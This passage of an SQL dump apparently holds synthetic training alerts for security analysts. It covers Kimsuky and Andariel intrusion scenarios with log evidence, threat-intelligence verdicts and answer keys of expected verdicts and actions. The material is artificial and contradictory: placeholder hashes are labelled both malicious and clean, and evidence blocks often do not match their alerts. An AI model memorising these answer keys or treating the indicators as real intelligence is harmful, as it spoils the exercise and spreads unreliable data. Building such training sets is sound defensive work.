2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T13:45:23Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"scheduled_task_name\\\":\\\"AppleSeed_Update\\\",\\\"task_command\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe /c C:\\\\\\\\Users\\\\\\\\compromised_user\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\AppleSeed.exe\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"status\\\":\\\"Task Created\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.849Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T13:45:23Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"scheduled_task_name\\\":\\\"AppleSeed_Update\\\",\\\"task_command\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe /c C:\\\\\\\\Users\\\\\\\\compromised_user\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\AppleSeed.exe\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"status\\\":\\\"Task Created\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.849Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T13:45:23Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"user\\\":\\\"compromised_user\\\",\\\"source_ip\\\":\\\"192.168.1.105\\\",\\\"attacker_ip\\\":\\\"203.0.113.45\\\",\\\"scheduled_task_name\\\":\\\"AppleSeed_Update\\\",\\\"task_command\\\":\\\"C:\\\\\\\\Windows\\\\\\\\System32\\\\\\\\cmd.exe /c C:\\\\\\\\Users\\\\\\\\compromised_user\\\\\\\\AppData\\\\\\\\Local\\\\\\\\Temp\\\\\\\\AppleSeed.exe\\\",\\\"file_hash\\\":\\\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\\\",\\\"status\\\":\\\"Task Created\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1349, 'Credential Harvesting Detected', 'high', 'Network Traffic Analysis', 'The attackers use harvested credentials to move laterally across the network, seeking sensitive information within government databases. Malicious activity involving external IP 203.0.113.45 attempting to authenticate using compromised credentials was detected.', 'Credential Access', 'T1078 - Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T08:45:00Z\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.25\",\"event_type\":\"authentication_attempt\",\"username\":\"jdoe\",\"status\":\"failed\",\"protocol\":\"RDP\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"filename\":\"rdp_login_attempt.log\"}', '2026-03-01 23:01:17', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with known credential harvesting campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Database\",\"verdict\":\"internal\",\"details\":\"Legitimate user within organization.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":false,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"clean\",\"details\":\"No known associations with malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1350, 'Data Exfiltration Attempt', 'high', 'Data Loss Prevention (DLP) System', 'Detected attempts to send large volumes of sensitive data outside the network, concluding the attack sequence as Kimsuky seeks to exfiltrate valuable intelligence.', 'Data Exfiltration', 'T1048: Exfiltration Over Alternative Protocol', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:07Z\",\"event_type\":\"data_exfiltration\",\"source_ip\":\"192.168.1.25\",\"destination_ip\":\"203.0.113.45\",\"user\":\"jdoe\",\"filename\":\"confidential_report.pdf\",\"file_hash\":\"5d41402abc4b2a76b9719d911017c592\",\"protocol\":\"HTTPS\",\"action\":\"blocked\",\"detection_method\":\"DLP\",\"severity\":\"high\"}', '2026-03-01 23:01:17', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal IP address of a corporate workstation.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"OSINT Database\",\"verdict\":\"malicious\",\"details\":\"IP address associated with previous data exfiltration attacks by Kimsuky.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"confidential_report.pdf\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal DLP\",\"verdict\":\"suspicious\",\"details\":\"Sensitive document flagged by DLP system during transmission.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"5d41402abc4b2a76b9719d911017c592\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Reputation Service\",\"verdict\":\"clean\",\"details\":\"Known file hash, previously scanned and verified as safe.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"internal\",\"details\":\"Employee account, potential insider threat.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\"]}', 'novice', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.851Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:07Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.1.25\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"confidential_report.pdf\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"blocked\\\",\\\"detection_method\\\":\\\"DLP\\\",\\\"severity\\\":\\\"high\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.851Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:07Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.1.25\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"confidential_report.pdf\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"blocked\\\",\\\"detection_method\\\":\\\"DLP\\\",\\\"severity\\\":\\\"high\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.851Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:07Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.1.25\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"confidential_report.pdf\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"blocked\\\",\\\"detection_method\\\":\\\"DLP\\\",\\\"severity\\\":\\\"high\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.851Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:07Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.1.25\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"confidential_report.pdf\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"blocked\\\",\\\"detection_method\\\":\\\"DLP\\\",\\\"severity\\\":\\\"high\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.851Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-15T14:32:07Z\\\",\\\"event_type\\\":\\\"data_exfiltration\\\",\\\"source_ip\\\":\\\"192.168.1.25\\\",\\\"destination_ip\\\":\\\"203.0.113.45\\\",\\\"user\\\":\\\"jdoe\\\",\\\"filename\\\":\\\"confidential_report.pdf\\\",\\\"file_hash\\\":\\\"5d41402abc4b2a76b9719d911017c592\\\",\\\"protocol\\\":\\\"HTTPS\\\",\\\"action\\\":\\\"blocked\\\",\\\"detection_method\\\":\\\"DLP\\\",\\\"severity\\\":\\\"high\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1351, 'Phishing Email Detected', 'high', 'Corporate Email Security System', 'An employee at a South Korean defense contractor receives a suspicious email purporting to be from a known supplier. The email contains a malicious attachment designed to install malware upon opening.', 'Initial Access', 'T1566.001 - Phishing: Spear Phishing Attachment', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T08:45:22Z\",\"source_ip\":\"203.0.113.5\",\"destination_ip\":\"10.0.3.45\",\"email_subject\":\"Urgent: New Contract Draft\",\"sender_email\":\"supplier@example.com\",\"recipient_email\":\"employee@skdefense.kr\",\"attachment_name\":\"Contract_Draft.exe\",\"attachment_hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"action_taken\":\"Email quarantined\",\"alert_id\":\"ALERT-20231005-0001\"}', '2026-03-01 23:01:37', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"IP associated with previous phishing campaigns\"}},{\"id\":\"artifact_2\",\"type\":\"email\",\"value\":\"supplier@example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Email Reputation System\",\"verdict\":\"suspicious\",\"details\":\"Email domain recently registered and used in phishing attempts\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"Contract_Draft.exe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Malware Analysis Service\",\"verdict\":\"malicious\",\"details\":\"Executable file containing known malware signature\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash matches known malware sample\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Mail\",\"evidence\":{\"headers\":{\"from\":\"urgent@support-microsoft-update.com\",\"to\":\"employee@company.com\",\"subject\":\"Phishing Email Detected\",\"date\":\"2026-03-02T13:55:06.853Z\",\"x-mailer\":\"PHPMailer 6.0\"},\"attachments\":[{\"name\":\"invoice_feb.pdf.exe\",\"size\":\"1.2MB\",\"type\":\"application/x-msdos-program\",\"verdict\":\"Malicious\"}],\"body_preview\":\"Dear User, please check the attached invoice immediately...\",\"security_check\":\"FAIL - SPF/DKIM Mismatch\"}}', 0),
(1352, 'Malware Execution Triggered', 'high', 'Endpoint Detection and Response (EDR) System', 'A custom Andariel malware variant has been executed on the host system, providing remote access capabilities to the attacker.', 'Execution', 'T1059: Command and Scripting Interpreter', 1, 'new', NULL, '{\"timestamp\":\"2023-10-31T14:32:58Z\",\"event_id\":\"4625\",\"host_ip\":\"192.168.1.45\",\"username\":\"jdoe\",\"process\":{\"name\":\"msword.exe\",\"path\":\"C:\\\\Program Files\\\\Microsoft Office\\\\Office16\\\\msword.exe\"},\"file\":{\"name\":\"invoice.docx\",\"path\":\"C:\\\\Users\\\\jdoe\\\\Downloads\\\\invoice.docx\",\"hash\":\"e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855\"},\"network\":{\"src_ip\":\"192.168.1.45\",\"dst_ip\":\"203.0.113.45\",\"dst_port\":443},\"malware\":{\"name\":\"Andariel\",\"variant\":\"Custom\",\"hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}}', '2026-03-01 23:01:37', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with known Andariel C2 servers.\"}},{\"id\":\"artifact_2\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash identified as a known Andariel malware variant.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"invoice.docx\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal EDR\",\"verdict\":\"suspicious\",\"details\":\"File used as a dropper in recent attacks.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"EDR\",\"evidence\":{\"hostname\":\"WORKSTATION-01\",\"os\":\"Windows 10 Enterprise\",\"agent_version\":\"7.12.0\",\"process_tree\":[{\"id\":100,\"name\":\"explorer.exe\",\"pid\":4520,\"user\":\"jdoe\",\"cmd\":\"explorer.exe\",\"integrity\":\"Medium\",\"children\":[101]},{\"id\":101,\"name\":\"powershell.exe\",\"pid\":5100,\"user\":\"jdoe\",\"cmd\":\"powershell.exe -nop -enc AAB...\",\"integrity\":\"High\",\"children\":[102],\"highlight\":true},{\"id\":102,\"name\":\"conhost.exe\",\"pid\":5101,\"user\":\"jdoe\",\"cmd\":\"conhost.exe\",\"integrity\":\"High\",\"children\":[]}],\"network_connections\":[{\"pid\":5100,\"remote_ip\":\"203.0.113.55\",\"port\":443,\"state\":\"ESTABLISHED\",\"process\":\"powershell.exe\"}]}}', 0),
(1353, 'Persistence Mechanism Established', 'medium', 'System Registry Monitoring', 'The malware modifies system registry keys to maintain persistence, allowing the attackers to retain access even after system reboots.', 'Persistence', 'T1547.001', 1, 'new', NULL, '{\"timestamp\":\"2023-10-12T08:45:27Z\",\"event_id\":\"4624\",\"source_ip\":\"203.0.113.45\",\"internal_ip\":\"192.168.1.15\",\"registry_key\":\"HKEY_LOCAL_MACHINE\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run\\\\MaliciousApp\",\"modified_by_user\":\"jdoe_admin\",\"malware_filename\":\"evilapp.exe\",\"malware_hash\":\"d41d8cd98f00b204e9800998ecf8427e\",\"user_context\":\"SYSTEM\",\"description\":\"Persistence mechanism established via registry key modification.\"}', '2026-03-01 23:01:37', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"IP associated with known APT activity.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host IP.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Malware hash associated with evilapp.exe.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"evilapp.exe\",\"is_critical\":true,\"osint_result\":{\"source\":\"Endpoint Detection\",\"verdict\":\"malicious\",\"details\":\"File used in persistence mechanism.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe_admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"suspicious\",\"details\":\"Unusual activity detected for this user.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-02T13:55:06.856Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T08:45:27Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"modified_by_user\\\":\\\"jdoe_admin\\\",\\\"malware_filename\\\":\\\"evilapp.exe\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user_context\\\":\\\"SYSTEM\\\",\\\"description\\\":\\\"Persistence mechanism established via registry key modification.\\\"}\"},{\"timestamp\":\"2026-03-02T13:54:06.856Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T08:45:27Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"modified_by_user\\\":\\\"jdoe_admin\\\",\\\"malware_filename\\\":\\\"evilapp.exe\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user_context\\\":\\\"SYSTEM\\\",\\\"description\\\":\\\"Persistence mechanism established via registry key modification.\\\"}\"},{\"timestamp\":\"2026-03-02T13:53:06.856Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T08:45:27Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"modified_by_user\\\":\\\"jdoe_admin\\\",\\\"malware_filename\\\":\\\"evilapp.exe\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user_context\\\":\\\"SYSTEM\\\",\\\"description\\\":\\\"Persistence mechanism established via registry key modification.\\\"}\"},{\"timestamp\":\"2026-03-02T13:52:06.856Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T08:45:27Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"modified_by_user\\\":\\\"jdoe_admin\\\",\\\"malware_filename\\\":\\\"evilapp.exe\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user_context\\\":\\\"SYSTEM\\\",\\\"description\\\":\\\"Persistence mechanism established via registry key modification.\\\"}\"},{\"timestamp\":\"2026-03-02T13:51:06.856Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-12T08:45:27Z\\\",\\\"event_id\\\":\\\"4624\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"internal_ip\\\":\\\"192.168.1.15\\\",\\\"registry_key\\\":\\\"HKEY_LOCAL_MACHINE\\\\\\\\Software\\\\\\\\Microsoft\\\\\\\\Windows\\\\\\\\CurrentVersion\\\\\\\\Run\\\\\\\\MaliciousApp\\\",\\\"modified_by_user\\\":\\\"jdoe_admin\\\",\\\"malware_filename\\\":\\\"evilapp.exe\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\",\\\"user_context\\\":\\\"SYSTEM\\\",\\\"description\\\":\\\"Persistence mechanism established via registry key modification.\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(1354, 'Lateral Movement Detected', 'medium', 'Network Traffic Analysis', 'The attackers leverage stolen credentials to move laterally within the corporate network, targeting systems with access to sensitive defense sector data.', 'Lateral Movement', 'T1078: Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T10:32:45Z\",\"event_type\":\"network_connection\",\"source_ip\":\"192.168.1.101\",\"destination_ip\":\"10.0.0.45\",\"protocol\":\"SMB\",\"username\":\"jdoe\",\"file_accessed\":\"\\\\\\\\10.0.0.45\\\\sensitive\\\\project_plan.docx\",\"external_attacker_ip\":\"203.0.113.15\",\"hash\":\"e99a18c428cb38d5f260853678922e03\",\"action\":\"access_granted\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64)\"}', '2026-03-01 23:01:37', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.1.101\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_network\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"203.0.113.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"threat_intelligence\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP associated with lateral movement activity\"}},{\"id\":\"artifact_4\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":true,\"osint_result\":{\"source\":\"internal_user_directory\",\"verdict\":\"internal\",\"details\":\"Legitimate user account\"}},{\"id\":\"artifact_5\",\"type\":\"hash\",\"value\":\"e99a18c428cb38d5f260853678922e03\",\"is_critical\":false,\"osint_result\":{\"source\":\"hash_lookup_service\",\"verdict\":\"suspicious\",\"details\":\"Hash associated with abnormal file access patterns\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', NULL, 1, 0, NULL, NULL, NULL, '{\"tool\":\"Firewall\",\"evidence\":{\"policy_name\":\"Block_Outbound_Direct_IP\",\"action\":\"ALLOW\",\"interface_in\":\"eth0\",\"interface_out\":\"eth1\",\"packets\":[{\"time\":\"10:00:01\",\"src\":\"10.0.0.5\",\"dst\":\"8.8.8.8\",\"proto\":\"UDP\",\"port\":53,\"size\":120,\"action\":\"ALLOW\"},{\"time\":\"10:00:02\",\"src\":\"10.0.0.5\",\"dst\":\"203.0.113.15\",\"proto\":\"TCP\",\"port\":443,\"size\":1500,\"action\":\"ALLOW\",\"alert\":true}]}}', 0),
(1355, 'Sensitive Data Exfiltration', 'critical', 'Data Loss Prevention (DLP) Alerts', 'The attackers have initiated the exfiltration of sensitive intellectual property related to defense contracts and ATM transaction data to an external malicious server.', 'Exfiltration', 'T1048: Exfiltration Over Alternative Protocol', 1, 'new', NULL, '{\"timestamp\":\"2023-10-15T14:32:45Z\",\"alert_id\":\"DLP-EXFIL-00342\",\"source_ip\":\"10.1.2.34\",\"destination_ip\":\"203.0.113.45\",\"protocol\":\"HTTPS\",\"filename\":\"defense_contract_2023.pdf\",\"hash\":\"3d2e479f4b2c3d1ea8f1f2d8a3e2b7d9\",\"username\":\"jdoe\",\"action\":\"exfiltrate\",\"status\":\"blocked\"}', '2026-03-01 23:01:37', '2026-03-02 13:55:06', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Associated with known APT group operations.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.1.2.34\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host involved in exfiltration.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3d2e479f4b2c3d1ea8f1f2d8a3e2b7d9\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known data exfiltration malware.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"defense_contract_2023.pdf\",\"is_critical\":true,\"osint_result\":{\"source\":\"File Reputation Service\",\"verdict\":\"suspicious\",\"details\":\"Sensitive document flagged for unauthorized transfer.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"internal\",\"details\":\"User account involved in suspicious 